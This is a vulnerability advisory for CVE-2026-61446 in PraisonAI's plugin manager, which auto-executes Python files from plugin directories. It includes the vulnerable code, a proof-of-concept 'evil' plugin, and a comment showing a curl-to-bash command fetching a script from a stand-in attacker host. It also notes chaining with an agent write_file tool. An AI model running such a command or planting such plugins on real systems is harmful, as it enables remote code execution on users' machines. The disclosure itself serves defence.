CVE-2026-61446
JSON

8.6high

PraisonAI before 1.6.78 Remote Code Execution via Plugin Auto-Discovery

Severity
8.6high CVSS:4.0 by VulnCheck
Exploit likelihood
0.33% (higher than 18% of CVEs)
Published
Last changed
Assigned by
VulnCheck
Also known as
GHSA-m6wp-h223-4c8gPYSEC-2026-4271

Description

PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Affected

Product or packageVersionsReported by
MervinPraison PraisonAIbefore 1.6.78
Not affected: 1.6.78
CVE List
praisonaiagents (PyPI)before 1.6.78GitHub Advisory Database, PyPA Advisory Database

All scores

VulnCheck8.6high CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VulnCheck8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-94CWE-427

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.

GitHub Advisory Database
Summary

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.

Impact
  • Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
  • No user interaction required: Plugins are auto-discovered and loaded at framework initialization
  • Persistence: A planted plugin survives restarts and executes every time the framework starts
  • Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
NVD (es)

PraisonAI (praisonaiagents) anterior a la versión 1.6.78 contiene una vulnerabilidad de ejecución remota de código en el gestor de plugins, que carga y ejecuta archivos Python (.py) arbitrarios de los directorios .praisonai/plugins/ a nivel de proyecto y de inicio de usuario utilizando importlib spec_from_file_location() y exec_module() sin firma de código, verificación de integridad o sandboxing. Un atacante que puede escribir un archivo .py malicioso en un directorio de plugins (por ejemplo, mediante salto de ruta, un ataque a la cadena de suministro o una dependencia comprometida) logra la ejecución de código arbitrario cuando el sistema de plugins se inicializa.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-61446 changed 2026-07-15CVE Terms of Use
GitHub Advisory DatabaseGHSA-m6wp-h223-4c8g changed 2026-10-15CC-BY-4.0
NVDCVE-2026-61446 changed 2026-10-24Public domain
PyPA Advisory DatabasePYSEC-2026-4271 changed 2026-10-15CC-BY-4.0